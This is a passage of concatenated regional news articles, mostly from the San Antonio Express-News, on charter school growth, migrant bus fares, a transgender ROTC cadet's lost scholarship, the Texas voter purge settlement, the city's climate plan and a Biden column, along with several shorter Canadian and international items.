toward staffing and training leaders for the new schools, he said. The network has built mostly on the citys East and South sides but is entertaining all the possibilities for its next 15 schools here, he said. The Northwest Side is the fastest growing, Posada noted, calling it a new frontier for IDEA schools. Im experiencing people reaching out to me from small towns in surrounding areas, he added. KIPP Texas-San Antonio is listed as one of the regions that may open schools in 2021 and 2022, while KIPP Texas-Austin and KIPP Texas-Houston schools are expected to open for fall 2020, according to the application. Its expansion in all of its regions will expand enrollment by 23,000 students across 52 schools, the network said in its application. It aims to add 17,000 students during the next five years, and an additional 5,000 after that. Its too early to say how many schools or students KIPP will add in Bexar County, KIPP Texas Chief Advancement Officer Mark Larson said. We are currently in the process of doing a bottom-up growth plan for our work in the state, after the four KIPP regions consolidated to form KIPP Texas last summer, he said. Its only new school now in the pipeline is KIPP Somos Collegiate, which will open this fall on Fredericksburg Road. We do intend to continue to grow in San Antonio, Larson said, adding that the federal money increases KIPPs capacity to help meet demand that we have from families who are looking for schools that are helping kids to and through college. Charter schools in San Antonio have thousands of students on wait lists to get in, according to a 2018 report from Families Empowered, a Houston-based nonprofit that advocates for school choice. On ExpressNews.com: As demand rises, charters open new schools in San Antonio New KIPP schools, as with IDEA and many other charters, open with one grade level and add a grade each year. At full scale, they break even financially, Larson said. But up until that time, they run at a deficit, something grants can help address and make a little less demanding from a philanthropic perspective. The superintendents of the two largest school districts here, Northsides Woods and North East ISDs Brian Gottardy, last fall urged a community conversation about the financial impact of charter school growth. That hasnt gone anywhere yet, Woods said, but he hopes to raise it again after the City Council elections May 4. I think its interesting that 25 years ago, when charters came to Texas, one of the chief arguments was that they were going to serve impoverished kids in underserved communities. And for a while that was true in Bexar County, he said. But looking at the charter expansion in recent years, it seems like the goal has shifted, Woods said. Were happy to compete with anybody, as long as theres a level playing field. Four charter school operators applied to the Texas Education Agency this spring to open new schools in the Bexar County area. Applications are still under review for San Antonio Preparatory Charter School, which aims to open on the Southeast Side, and The Gathering Place, targeting the intersections of North East, San Antonio, Northside and Edgewood ISDs. Applications for Flex High School of Texas, a program for 16-to-24-year-olds who havent completed high school, and Prelude Preparatory, which aimed to open in Judson ISD, were rejected. LTeitz@express-news.net Several weeks after migrants and local volunteers complained about price gouging of bus fares from Eagle Pass to San Antonio, several companies in the border town have disclosed their official prices. Aguila Express, target of the complaints, is charging $30 for a one-way ticket, almost three times less than what it was charging migrants. I think this is the first time these places have been pinned down on what the charges are going to be, said Sister Denise LaRock, who volunteers for the Interfaith Welcome Coalition at San Antonios Greyhound bus station. Aguila and another Eagle Pass bus company, El Dorado, agreed to publish their fares under pressure from the coalition. In an effort led by LaRock, the coalition printed the prices on a flyer that it is distributing to migrants in Eagle Pass. In recent months, thousands of migrants have been dropped off at an Eagle Pass parking lot by the Border Patrol, often with no money or ability to call relatives. LaRock said the Border Patrol agreed to hand out her flyers so migrants know what their options are, and where they can catch a bus to be with their families. When asked about the agreement, the Border Patrol deferred to the Interfaith Welcome Coalition. Several NGOs have met with migrants, after they were released from USBP custody, to provide them with information regarding available services, Customs and Border Protection said in a statement. Aguila Express was charging migrants between $75 and $100 each, regardless of their age, for rides to San Antonio last month until the Express-News reported its steep fees. The city of San Antonio also sent a letter to Aguila Express and the city of Eagle Pass, but did not receive a response. It opened a resource center to aid migrants that have been arriving in overwhelming numbers at the San Antonio bus station. Laura Mayes, spokeswoman for the city, said the center has helped more than 3,000 migrants who spent between one and two days here in the first weeks of April. Aguila Express also closed the Eagle Pass house it had used as on overnight shelter, which migrants had said was dirty and unhygienic. We dont have it. We closed it for the reason that there were bad feelings about it, said Jorge Sierra, who said he is one of the Aguila owners. LaRock said she decided to make flyers because Aguilas prices fluctuated after the complaints. El Dorado, a competing small company a couple blocks away from Aguila, also had unclear prices, she said. Sierra admitted that Aguilas prices for migrants had changed in recent weeks. The new flyer also includes prices and locations for the TuriMex and Greyhound buses, larger companies that are cheaper than the other two in Eagle Pass, offering tickets under $12, with discounts for children and infants. Honduran migrant Elvin Leonel Funes Pinea recently showed a reporter his Aguila Express ticket, indicating he paid $80 for him and his daughter. They didnt tell us there were options, like one place it costs this, one place it costs this much. Because then I wouldve gone for the cheapest, he said. He said the Border Patrol dropped him off at Aguilas station in Eagle Pass, rather than at a neutral location. I think it depends on the driver, where theyre dropped off. Sometimes its one place sometimes in another place, but often it is at the public parking lot, Sierra said. They dont seem to have set location. The Aguila price now is fixed at $30, regardless of the passengers age. El Dorado charges $30 for adults, $15 for kids and free for kids under 3. For comparison, the Aguila Express station in Laredo charges $25 per person and $15 for children 8 and under. Sierra also said the company charges an additional $10 for extra services, which include wiring money or using staff phones to call family. Through the process of doing this flyer, they had to wrestle with how much they were going to charge, LaRock said. Funes Pinea, who crossed the border by wading through the Rio Grande near Piedras Negras, said he came to the U.S. for his daughter. To give her a better life, he said, so she can go to school and have a career. Silvia Foster-Frau covers immigration news in the San Antonio, Bexar County and South Texas area. Read her on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | sfosterfrau@express-news.net | Twitter: @SilviaElenaFF As a University of Texas freshman, Map Pesqueira looked well on his way to achieving his dream of becoming an Army officer. Pesqueira came out of Lee High Schools North East School of the Arts last spring with a 3.9 GPA, a National Honor Society induction and an SAT score of 1260. And he won a coveted three-year ROTC scholarship at UT-Austin. I was ecstatic, said Pesqueira, 19. One, because I get to start preparing for a military career as an officer in the Army. But, two, to also know that part of my higher education is taken care of. And lastly knowing that I had a job guaranteed to me after college, which is something not a lot of college students are able to say. But the dream may be over. Pesqueira was born female but began the transition last year to become male, hoping the courts would not uphold President Donald Trumps policy of banning many transgender recruits from joining the service. Now the Pentagon has stripped Pesqueira of a scholarship worth more than $10,000 a year. It would have taken effect next fall and defrayed part of the roughly $26,000 a year that it costs to attend UT. Pesqueira is using loans to pay this years tuition and expenses. He has a GoFundMe account that raised $26,193 in 13 days, near his goal of being able to pay for next year. Hes talked with UT officials about the dilemma and has found a friend in U.S. Rep. Joaquin Castro, D-San Antonio. But the scholarship, in the end, may be out of reach. I would say that unless he can find other financial aid, its going to be very difficult for him to continue at UT-Austin, Castro said. This is an example of (Trumps) discriminatory policy affecting a great person and a great student, and potentially keeping somebody out of the military who was excited about being in ROTC and was looking forward to serving, he said. Military part of growing up Pesquiera has been fascinated with the armed forces since he was a young girl. Pesqueira grew up close to Fort Sam Houston, where challenge coins, July Fourth celebrations and the posts ordered pace of military life impressed him. Pesqueiras father, a funeral director, spent a lot of time at Fort Sam interacting with veterans and their families. Martin Pesqueira often brought home the unit coins as well as gift shop souvenirs. Map Pesqueiras grandfather, Marion Ray Cowger, was in the Navy during World War II. A cousin is a Marine staff sergeant and a brother-in-law is an Army officer. I distinctly remember there was a day when I was, say, about 11 or 12 in elementary school, and I would go to the military surplus store and get MREs and the Kevlar helmets, and my grandmother would buy them for me and I would come back home and get my little wine cork pop gun and hang out in the backyard and act as if I were a soldier, eating MREs for lunch, Pesqueira recalled. The chili macaroni and cheese Meal Ready-To-Eat was his favorite. Growing up, I automatically thought I was a male, Pesqueira said. I had the haircut, my parents allowed me to dress in male clothing, I was obsessed with all of the boy toys, getting them from McDonalds, Burger King, Wendys, fast-food places. I never wanted the girl toys,and thats who I thought I had been born as, as a male. I started to realize that I was born female around, I would say, 8 or 9. From the first memory I have leading up to 8 or 9, I thought I was male. The realization led to problems, compounded by his surroundings. Coming from a modest family and surrounded by wealthier, Anglo neighbors, he often wore Goodwill clothes and wanted to fit in, wanted to wear girl clothes. He eyed the offerings on display at boutiques in Alamo Heights and looked for fashion accessories in mall shops. For quite a while, at the end of my elementary school years and going into eighth grade, thats when I started to try to conform to what people were expecting me to be, Pesqueira said. And it was tough because I knew thats not what I wanted and it was not who I was. On ExpressNews.com: Transgender people will be allowed to serve openly in military Through it all, the military was always on his mind. In high school, Pesqueira realized that serving openly as a transgender soldier was out of the question. He considered joining as a woman. The other option was hoping the rules would change and they did, June 30, 2016, when the Obama administration said it would allow transgender people to serve openly in the armed forces. The Pentagon the year before had allowed women to apply for combat jobs that had been open only to men. In 2010, Congress repealed the dont ask, dont tell policy barring gays from openly serving. A series of initiatives were included in the Pentagons action. They included plans to issue a training handbook for commanders, transgender service members and the troops by that fall, as well as medical guidance so the military health care system could immediately provide transition-related care to transgender troops. A person gender identity would not bar qualified applicants from joining the military, the service academies or ROTC programs. Trumps election reversed the reforms. In a series of tweets posted on the 69th anniversary of President Harry S. Trumans historic executive order that desegregated the military, he said the Pentagon will not accept or allow transgender individuals to serve in any capacity in the U.S. military. On ExpressNews.com: Trump vows to boot transgender troops In practice, it did not become an outright ban affecting the estimated 11,400 to 15,000 active-duty troops and reservists who were transgender. A policy announced by then-Defense Secretary James Mattis barred transgender people with a history or diagnosis of gender dysphoria from joining the military unless they had taken no steps to transition for 36 consecutive months. Gender dysphoria, the medical diagnosis associated with being transgender, is defined by the American Psychiatric Association as a conflict between a persons physical or assigned gender and the gender with which he/she/they identify that can lead to discomfort with the persons body or assigned gender roles. On ExpressNews.com: As high court backs restrictions, transgender man still hopes to come to San Antonio for Air Force basic training The policy faced a series of court challenges until the Supreme Court, in a 5-4 ruling, upheld it in January. Undergoing his transition By the time of the ruling, Pesqueira was well on his way to transitioning. He had started calling himself a trans male the year before. In February 2018, he began hormone therapy. In May, he legally changed his name. And last month, Pesqueira had a bilateral mastectomy. The Trump administration rules have stranded some transgender troops who were in the recruiting pipeline prior to the Supreme Courts decision. Theyve also ensnared Pesqueira, despite efforts by Lt. Col. Matthew ONeill, chair of UTs military science department and Pesqueiras military adviser, to grandfather his scholarship under the Obama-era policy. Pesqueira said ONeill told him this month that he couldnt salvage the scholarship. I felt like I had been betrayed. Excuse the way I say this, but I felt like I had been screwed over, Pesqueira said. But losing the scholarship was something he knew could happen. The Pentagon gave him the scholarship knowing he was transgender and would likely begin the change, so he had hoped. Pesqueira drew strength from his sense of optimism. Deep down, he didnt think the top court would approve the policy. Whats beyond the spring semester isnt clear. Pesqueira is working on a radio-television-film degree, focusing on American studies, which examines the nations culture and way of life. Hes been making his grades but concedes the stress of losing the scholarship has taken its toll. Though still in ROTC, Pesqueira hasnt been back since his surgery. He had enjoyed 5 a.m. workouts, spending time after classes in the cadet lounge and serving in the color guard. His friends, and heart, are there, but hell have no choice but to move on without the scholarship. What remains is a dream of getting good news in the future a change in administrations and a reversal in policy but above all else the chance for him to join the military when he earns his bachelors degree. When you want something badly enough, youre going to do anything to get it. And to me, doing anything is holding on to hope that something will change and that Ill be able to go in later on. It means a lot to me to be able to be a part of the military and to serve my country and also to help protect it, Pesqueira said. America hasnt always had the best track record, but its changed with time, so the same thing applies here. In my opinion, its very, very wrong, but Im hopeful that well be able to realize that this is wrong and well be able to make it right again. Sig Christenson covers the military and veterans in San Antonio, Bexar County and the nation. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | sigc@express-news.net | Twitter: @saddamscribe Alanna Kelly Ellison residents are concerned about safety after a proposed cell tower could be going up just a few feet from peoples backyards. Not all residents were directly notified by Rogers, and as news started travelling around the neighbourhood about the new tower, so did frustration. Theyre putting in a 60-foot cellphone tower, apparently it could be any time, said Kristin Matthews. I am hoping they just cancel the whole situation. Resident William Kowalski says only about 15 residents were notified about the proposal. They said only two neighbours had any complaints, but that is not true because they only let 15 people know, he said. The only people that were informed were people who lived directly within 100 metres of the site. If approved, the tower would be right behind Kowalskis backyard. It would be 60 metres away from us and 60 metres high, he said. The whole neighbourhood affected we are one block from an elementary school. Matthews, who is pregnant, says the location is a concern to her because of the children who live in the area and attend Ellison Elementary School. I dont think children are guinea pigs, I dont think that anywhere less than two blocks from a school is an ideal position for a technology we are unsure what the effects are, she said. Director for Electoral East, Ellison Mark Bartyik says hes heard residents' concerns and is in communications with Rogers. It is not a Regional District issue, this is a federally regulated issue, he said. Ellison residents are a little upset with how this happened and the lack of communication. Bartyik added he will be following up with Rogers. They say it is all within Canadian standards but who knows what that means ... we all thought smoking was healthy 50 years ago and look at it now, said Kowalski. A petition has been started by residents and it's been signed by over 300 people. A San Antonio nonprofit dedicated to helping adults with mental illness find a support network and work experience has received $1 million to create its own foundation. Its by far the largest single gift we've received in the 16 years we've been in existence, said Mark Stoeltje, the executive director of the San Antonio Clubhouse. Its going to go into an interest-bearing account that sets us up for the future. When another nonprofit, the Financial Literacy of South Texas Foundation, recently dissolved, it decided to give $1 million to the San Antonio Clubhouse to set up a foundation, Stoeltje said. The clubhouse usually operates on $1.2 million a year, and like most nonprofits, often grapples with unpredictable funding sources. Adult mental health is not typically a popular issue, said Stoeltje. Its very difficult to find resources; adults who are living with mental illness in a lot of ways have been given up on or ignored by society. Founded in 2003, the San Antonio Clubhouse operates under a national model thats based on the belief that everyone deserves to be part of a caring community and has talents to share. The clubhouse doesnt provide clinical treatment but can link its members to resources when needed. The San Antonio Clubhouse has more than 2,000 members, according to a news release. Anyone with a mental health diagnosis can join, where they can access healthy meals, links to resources and build a support network. They can also gain work experience by volunteering at the center and participate in job training, including resume building, mock interviews, job-search assistance and support with advocating to potential employers. Of 116 members who received employment training programs last year, 49 of them found jobs, according to a news release. Marina Starleaf Riker is an investigative reporter for the San Antonio Express-News with extensive experience covering affordable housing, inequality and disaster recovery. Read her on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | marina.riker@express-news.net | Twitter: @MarinaStarleaf Texas will scrap a program to purge voters it claimed were noncitizens and pay $450,000 to lawyers for civil rights groups who sued over the botched plan as part of a settlement of numerous lawsuits. Under the deal agreed to Friday, the state would discard the flawed data it used for the first voter purge program and begin a new one that helps assure that no known U.S. citizen has to prove his or her citizenship. The deal calls for any similar voter purge effort in the future to be more thoroughly vetted from the beginning and allows input from the plaintiffs before anyone is kicked off the voter rolls. The parties agree that the goal of this process is to guide the Texas Secretary of State in performing a list-maintenance procedure by matching (Texas Department of Public Safety) data regarding potential non-U.S citizens to Texass voter registration database to assist counties in ensuring that only eligible voters are registered to vote while minimizing the impact on naturalized citizens, the settlement states. The 17-page settlement signed Friday will be presented at a status conference Monday in San Antonio before U.S. District Judge Fred Biery, who listened to three days of testimony in February before issuing a preliminary injunction temporarily halting the program. The judge found that state officials created a mess that intimidated naturalized citizens. If he approves the deal, Biery would issue an order dismissing not only the first lawsuit filed in San Antonio by the League of United Latin American Citizens, but two others that followed one filed by the Mexican-American Legal Defense and Educational Fund in Corpus Christi and the other filed by the ACLU and Texas Civil Rights Project in Galveston. All three plaintiffs groups alleged the program illegally targeted immigrant voters and resulted in voter intimidation. All three suits were later consolidated in San Antonio. While we are glad to see this program scrapped, its important to remember that the state not only began to disenfranchise tens of thousands of eligible voters, but also threatened them with criminal prosecution, said Brendan Downes, associate counsel with the Lawyers Committee for Civil Rights Under Laws Voting Rights Project. Naturalized citizens are, by definition, Americans. Its time for the state to start treating them that way. For his part, Secretary of State David Whitley praised all involved in reaching the settlement as well as the Texas Legislature and county election officials. From the beginning, this process was designed to be collaborative, and (Fridays) agreement reflects a constructive collaboration among all stakeholders, Whitley said in a statement. It is of paramount importance that Texas voters can have confidence in the integrity, accuracy, and efficiency of the electoral system in which they participate. (Fridays) agreement accomplishes our office's goal of maintaining an accurate list of qualified registered voters while eliminating the impact of any list maintenance activity on naturalized U.S. citizens. The settlement states that within five days of the entry of Biery's order dismissing the suits, the Secretary of State will rescind its Jan. 25 advisory, which announced the program to local elections administrators, and advise them to take no further action on any data files that the office sent them in connection with that advisory. Under the program, the state used drivers license data from the Texas Department of Public Safety and, after comparing it with voter rolls, wrongly concluded that 98,000 Texans who were registered to vote were noncitizens and that about 58,000 had voted in previous elections. Some local elections administrators after receiving the Jan. 25 advisory and a list of suspected noncitizens from Whitleys office immediately sent out notices telling voters on the list that they would be removed from the rolls if they didnt provide proof of citizenship within 30 days. But other administrators investigated the information the state provided and found discrepancies in the data. The program led to the lawsuits and, at LULACs request, three days of court hearings in San Antonio. At one of those hearings, a top official in Whitleys office admitted that the state used flawed information to roll out the initiative and overstated the numbers by tens of thousands of people. In many cases, Texas drivers who were legal permanent residents later became naturalized citizens but were still counted on the list as non-U.S. citizens. On ExpressNews.com: Congressional Democrats launch probe of botched voter purge The settlement says the Secretary of State will inform county voter registrars and elections administrators that any voter who received a notice that their voter registration status was in question shall receive written notice that they are still registered to vote and that their voter registration status is no longer in question, unless the voter has since contacted the registrar and asked to be removed from the voter registration rolls, or unless there is some other basis for investigating the eligibility of the voter. The state admits no wrongdoing under the deal, and can still do voter list maintenance, but not so haphazardly. The state can compare DPS data to voter registration rolls, so long as its initial vetting is more thorough the DPS data is checked against a federal immigration database called SAVE, for example, to see whether a person has become a U.S. citizen since applying for, or renewing, his or her driver's license. The state will also inform plaintiffs lawyers with details of its methodology at certain points along the way, before sending out its lists of suspected noncitizens to the county voter registrars and elections administrators. And to allay claims that some voters had been wrongly informed they could only appear in person at county registrar offices to present proof of U.S. citizenship, the settlement says voters can also provide proof by mail, fax, e-mail or any other method of transmission. It's not going to be perfect, but its nowhere near the mess of the first one, said Luis Vera, LULAC's national legal counsel. It allows us to have some input in the process. Staff Writer Allie Morris contributed to this report. Guillermo Contreras covers federal courts in San Antonio and international legal issues. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | gcontreras@express-news.net | Twitter: @gmaninfedland Public input on San Antonios climate action plan officially ended Thursday, but the citys chief sustainability officer told a City Council committee that his office would continue to engage with anyone who wants to comment on the proposal even after the council votes on it in the fall. Meanwhile, a group of small-business owners called on the council at a morning news conference to adopt the plan because they believe that climate change if left unabated will severely affect the local economy. Doug Melnick, the chief sustainability officer, told the Community Health and Equity Committee that the Office of Sustainability has received more than 4,270 comments since the draft of the climate action and adaptation plan was released to the public Jan. 25. Melnick and his team are faced with recasting the document to reflect the publics widely varied feedback. Thats what were working on over the next two to three weeks: How do we basically take everything that weve heard and start making adjustments, he told the committee. The goal is to make reasonable accommodations. I mean we want to make sure we have as close to consensus as possible. The second draft of the plan is expected to be released late next month. Once that happens, Melnick and his team will solicit further input. Over the summer, the updated draft will go before the Planning Commission and undergo review by the plans steering committee and technical working groups that helped develop the initial proposal. In the fall, it will return to the Community Health and Equity Committee for review before the full council begins deliberations. On ExpressNews.com: City Council to delay climate plan vote The city has sought input in a variety of ways, from online surveys to public input sessions. Analysis of survey responses shows that 73 percent of answers were positive, 19 percent were negative and 8 percent were neutral, Melnick reported to the committee. He also provided a list of the top 10 categories of wide-ranging public comments and said his team did not attempt to categorize them into positive and negative because of their subjective nature. Instead, they grouped them by topic. Some 307 comments were submitted addressing the lack of cost analysis in the plan, which recommends dozens of strategies on pushing the region to carbon neutrality by 2050. Councilman Art Hall, whose term will end before the council takes up the climate plan, suggested that it wouldnt earn council support if cost estimates werent included. The original plan assigns broad cost ranges, using from one to three dollar signs to indicate potential levels of cost. But the next draft could nix them altogether. Assistant City Manager Roderick Sanchez said internal conversations are ongoing about the cost estimates. That is one of the toughest issues for us to wrap our arms around, he said. Were giving some serious thought to not even having them in the plan because as weve consistently said throughout the past couple of months, we just dont know. We dont know what the future holds as far as technology. Each strategy listed in the climate plan, converting the citys fleet of vehicles to electric and ending the use of fossil fuels for power generation will require its own discussions, deliberations and processes before adoption. On ExpressNews.com: San Antonio-area Ikea turns on a massive solar array Were thinking we did more harm than good by trying to put dollar signs in the plan for each of those when we really dont know where were going to be, Sanchez said. Councilwoman Ana Sandoval, chairwoman of the committee, said that as city officials continue to discuss the plan, the message needs to be clear that its a framework capturing a set of goals, not a regulatory ordinance. Earlier in the day, at Whats Brewing Coffee Roasters on the North Side, the small-business owners extolled the positive effects that the plans adoption would have. Sami Chbeir of Whats Brewing said the company has reduced its energy demand from CPS Energy by 50 percent by adding rooftop solar panels. He said studies have shown that global warming will drastically harm the coffee industry and called for global action. Some 20 business owners, including several restauranteurs from Sean Wen of Pinch Boil House to Diego Galicia of Mixtli signed an open letter to the City Council seeking adoption of the climate plan. The policies will help residents and businesses, the letter states. Josh Baugh covers environmental issues in the San Antonio and Bexar County area. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | jbaugh@express-news.net | Twitter: @jbaugh Failed presidential candidates make great vice-presidential nominees. Im not talking about the young up-and-comers who get antsy and decide to skip a few rungs and go for the big prize before theyve paid their dues. That kind of Buttigieg-ing rarely happened in the pre-Donald Trump era, when politicos generally understood that you either had to be a governor, a U.S. senator or a military hero to even dare admission into the circus. Im thinking of those journeyman workhorses who painstakingly moved up the ladder, ran for president and then performed a face plant on the national stage. That type of failed presidential contender usually possesses the kind of experience that lends gravitas to a presidential ticket. But they also have some inescapable political deficiency that held them back in a presidential race and makes them thankful just to occupy the rumble seat in a national campaign. Im thinking of Lyndon Johnson in 1960, Walter Mondale in 1976, George H.W. Bush in 1980, Al Gore in 1992 and Joe Biden in 2008. These VP nominees were ultra-loyal and more than willing to play the role of campaign attack dog. They bolstered perceived policy weaknesses of their running mates Bush, for example, brought foreign policy credentials to the ticket he shared with Ronald Reagan and cheerfully slogged their way through an endless succession of weenie roasts in flyover country. But they were failed presidential candidates for a reason. That brings us to Biden. When it comes to presidential races, Biden, who on Thursday officially announced his candidacy for the 2020 Democratic nomination, has been a good idea in theory, but not in practice. That could be the case again in 2020. From the beginning of a political career that goes back half a century, Biden has been a loquacious people person who revels in retail campaigning; a so-called regular Joe who prides himself on being able to speak the language of Americas anxious middle class. Its worked for him in Delaware, but it never translated for him as a presidential candidate. In 1988, Biden had a golden opportunity. The perceived early front-runner, former Colorado Sen. Gary Hart, was destroyed by a sex scandal. Another potential heavyweight, New York Gov. Mario Cuomo, stayed out. In the early stages of the race, Biden struggled to separate himself from the likes of Gore and Dick Gephardt. Before he had a chance to break through, he got mired in a plagiarism scandal, after he appropriated the words of then-British Labour Party leader Neil Kinnock at an Iowa debate. In doing so, Biden stole the specifics of Kinnocks Welsh family history, with references to ancestors who worked in the coal mines and read poetry and wrote poetry and taught me how to sing verse. Anyone inclined to believe that Biden would have rocketed to the top of the Democratic field if not for the plagiarism story got a hard dose of clarity in 2007-08. The most memorable moment for me in that short, failed campaign came when Biden dismissed the Iraq War strategies of rivals Hillary Clinton and John Edwards by saying, So all this stuff is like so much Fluffernutter out there. Biden dropped out in early January 2008, immediately after a demoralizing fifth-place finish in Iowa. By the time Barack Obama picked him as his running mate in August of 2008, most Democrats had forgotten that Biden even contended for the presidency that year. On ExpressNews.com: Biden a nonfactor to S.A. Democrats Bidens problems go deeper than a history that puts him at odds with the energy of the contemporary Democratic Party: his mid-1970s resistance to school desegregation efforts, his clumsy handling of Anita Hills sexual-harassment testimony against then-Supreme Court nominee Clarence Thomas in 1991, voting for a draconian crime bill in 1994 (which deeply intensified this countrys mass-incarceration problem), supporting the Defense of Marriage Act (which set back the cause of LGBTQ rights for a decade) in 1996 and voting to authorize the 2003 invasion of Iraq. The problems also go deeper than his penchant for getting handsy with women. Biden is too erratic and gaffe-prone to be the solid elder statesman he wants to be and too entrenched in an antiquated version of the Democratic Party to be an exciting force for change. Its hard to dislike anyone who uses the term Fluffernutter in a policy pronouncement, but its just as hard to imagine that person winning the Democratic presidential nomination in 2020. Four years ago, when then-Vice President Biden flirted with a presidential run, one local Democratic operative told me, Almost every Democrat you talk to will say, I like Joe Biden, but I hope he doesnt run. A year from now, they may be saying, I like Joe Biden, but I wish he hadnt run. Gilbert Garcia is a columnist covering the San Antonio and Bexar County area. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | ggarcia@express-news.net | Twitter: @gilgamesh470 ERIN SCHAFF, STF / NYT President Donald Trumps frequent visits to Texas appear to be paying off in contributions for his re-election campaign. Texans are responsible for at least $5.7 million of the $97 million Trump has raised for his re-election, according to donations tracked by the Federal Election Commission more money than Trump has raised in any other state. When I was a student at Antonian High School in the late 1960s, back when the Christian Brothers taught there, I once asked my religion teacher, Brother Martin (may he rest in peace), if he thought Gods revelation to humanity was ongoing and evolving, or if it was fixed and settled once and for all, based upon the Holy Scriptures. He paused for a moment, and then replied that all of Gods revelation had been communicated once and for all through the Bible. I replied that I thought Gods revelation was continually evolving and building upon what we have come to know through the Bible. We agreed to disagree. I asked that question because I was becoming aware that a lot of people in the 1960s were starting to talk about the evolution of human consciousness, or the idea that our very capacity for being conscious of the world and of ourselves as human beings was something that was changing along with our physical bodies. Thanks to the late Walter Starcke, a teacher and author in the New Thought tradition of the Unity Church, I learned at the age of 15 of the writings of Teilhard de Chardin, a French Jesuit priest and scientist who wrote of a Cosmic Christ and of something he called cosmogenesis. A paleontologist, he saw life continually evolving from lower to higher states. De Chardin believed all humanity would grow into much higher states of consciousness, informed by the love and intelligence of the Cosmic Christ. Such a conception of Christ became a major part of my own beliefs and it was brought to a new level decades later when I discovered the writings of Matthew Fox, a priest in the Catholic tradition. What Fox has come to call creation spirituality focuses not on an original sin, but upon the original blessing that all creation received from the Creator by coming into being. In the 1990s, Foxs teachings were formally rejected by the Roman Catholic Church it had silenced Father Teilhard decades earlier and Fox became an Episcopalian priest in a most remarkable way that is leading him, and the Cosmic Mass he now celebrates, to San Antonio today. In telephone interview from his home in Alameda, California, Fox told me that back in the 1990s he met a group of young people from Sheffield, England who were reinventing Christian worship in the face of economic and social devastation from the closure of mining and other industries in their town. Sheffield was the Rust Belt of England, he said, and because of the loss of jobs, there was a lot of alcoholism and domestic abuse. Many of these young people had been kicked out of their homes by their drunken fathers. Fox explained that, as street people, they gathered together to pray and find inspiration in new ways, drawing on the rave dance culture then spreading across the globe, giving concerts a new kind of tribal dimension not mediated by the music industry. At a certain point, they asked the pastor of the local Anglican church if they could take their celebrations into the local church, and he, recognizing that the church wasnt doing much for young people, said yes, Fox told me. But after a while, he received pressure from older members of the parish, and he had to tell the young people they werent welcome. Fortunately, Fox said, he met the young people at a conference and began to visit them in Sheffield, got to know them, and worked with them in evolving a form a worship he now calls The Cosmic Mass. It was they who suggested he become ordained as an Episcopal priest, and so he did, through Bishop William E. Swing of San Francisco. Swing encouraged Fox to work with young people and Fox decided to bring the Sheffield youth to San Francisco, bringing over 25 of them with the financial help of Anita Roddick, the founder of The Body Shop cosmetics company who died in 2007. They celebrated the Cosmic Mass in the basement of Grace Cathedral. I think about 400 people attended, and we got very good coverage from the San Francisco Chronicle, said Fox, who told me he has celebrated more than 100 Cosmic Masses over the past 25 years. Imagine my excitement, then, when I found out that Matthew Fox and the Order of the Sacred Earth will be partnering with Celebration Circle, Compassionate San Antonio, and peaceCENTER in presenting a Cosmic Mass here. It will focus on the theme of Our Sacred Earth, at Whitley Theological Center on the campus of the Oblate School of Theology this evening from 7 p.m. to 9 p.m. Everyone of every faith background is welcome, and he will be co-celebrating with people of diverse spiritual traditions. Instead of a homily, everyone will get up and dance! Now, that sounds to me like a great way to welcome the Cosmic Christ into our lives. I will certainly be there, and I hope many San Antonians will join us. Ed Conroy is a former arts writer for the San Antonio Express-News and currently the development director of the Southwest School of Art. Photo: Contributed Thieves smash the display cases at Corner Vapes in Penticton on Easter Sunday. A Penticton business owner is feeling overwhelmed with gratitude after the community rallied behind him following a devastating break-and-enter at his downtown vape shop. Thieves smashed through the front door of Martin Streets Corner Vapes on Easter Sunday, breaking display cases and stealing product. Shop owner Justin Chrystal posted an emotional and frustrated video to Facebook, explaining his insurance had just recently lapsed. But then, "a total stranger launched a GoFundMe fundraiser for the shop, which also supports Chrystals wife and three children. Penticton came through in a big way, raising more than $5,800 in just four days. As much as I needed help I would have never asked for it myself, Chrystal said Thursday. It made me feel a lot better about my community, because I was blaming the area, so you just think differently. Coming off the slow winter season, Chrystal said it was looking like the break-in was going to completely sink the business or derail plans to travel to the Canadian Vape Expo running in Edmonton this weekend. Then out of the blue, these people basically saved us. Without the help Ive gotten from the community, Im pretty sure I would have been forced to close my doors. When the people reached out, it made me cry more than when I originally got robbed, he said. When I found out that I was going to be OK being a dad with three kids and what the hell Im going to do to pay the bills then all of a sudden it turns around. Corner Vapes remains closed, but Chrystal says he will be reopened with limited inventory on Monday while he works on upgrading security. He hopes to be fully up and running again by next weekend. It really is crazy, Ive been trying to take time to make posts on Facebook and take the time to message back people that send me kind words. As much as I try, it's literally impossible to keep up. It means a lot, it's really changed everything, Chrystal said. Metro Manila (CNN Philippines, April 26) President Rodrigo Duterte on Friday invited businessmen in China to invest in the country, assuring them of a corruption-free Philippines. I want you guys, all businessmen, whether really be Japanese, Chinese, I want you to go to the Philippines, do business and I will create an environment which you will find comfortable, the President said in a speech in Beijing on Friday as he witnessed the signing of business agreements with Chinese companies. I guarantee you that there would be no hassles, no asking for money, he stressed. Since taking office in 2016, Dutere has taken steps to cultivated strong ties with China a turnaround from frosty relations during the time of his predecessor. His critics, however, have censured him for his soft stance despite China's increasingly aggressive moves in the disputed South China Sea and for a slew of Chinese loans that they fear would put the country under China's debt trap. In his speech, Duterte also asked the businessmen to report to him if they encounter delays in transacting with the government as he usually does in meetings with local and foreign businessmen. The President said one of the measures the government has taken to ensure ease of doing business with foreign companies is the establishment of the Philippine Renminbi Trading Community, which makes it easier to transact using the Chinese currency -- the Renminbi, also known as yuan. This is the President's fourth trip to China since the start of his term in 2016. He went to China for the Boao Forum for Asia in April 2018, the First Belt and Road Forum for International Cooperation in May 2017, and his meeting with Xi in October 2016. Prior to his China visit, Duterte skipped the Boao Economic Forum for Asia Conference which was hosted by the Philippines for the first time. Malacanang said the President was not feeling well. Over 300 business leaders, some of them coming from China, attended the event in Manila. A group of North Okanagan-Shuswap students spent their school break far away from home. Accompanied by sponsor teachers Lisa Coombs-Smith and Wendy Woodhurst, the group learned through service with the school district's Me to We club in Tanzania. The group helped to build a classroom the village of Odonyo-Sambu. In their off time, they interacted with local children, went on a safari and learned about Tanzania customs and culture. Here's a gallery of photos from their adventure. What a jerk you were to let me dump you. Thats the message the Trump administration is sending to some of our closest allies and most important economic partners. The most recent target is Japan, whom our U.S. ambassador berated last week for not giving us a favorable deal that Japan actually did give us before we abruptly ripped it up. 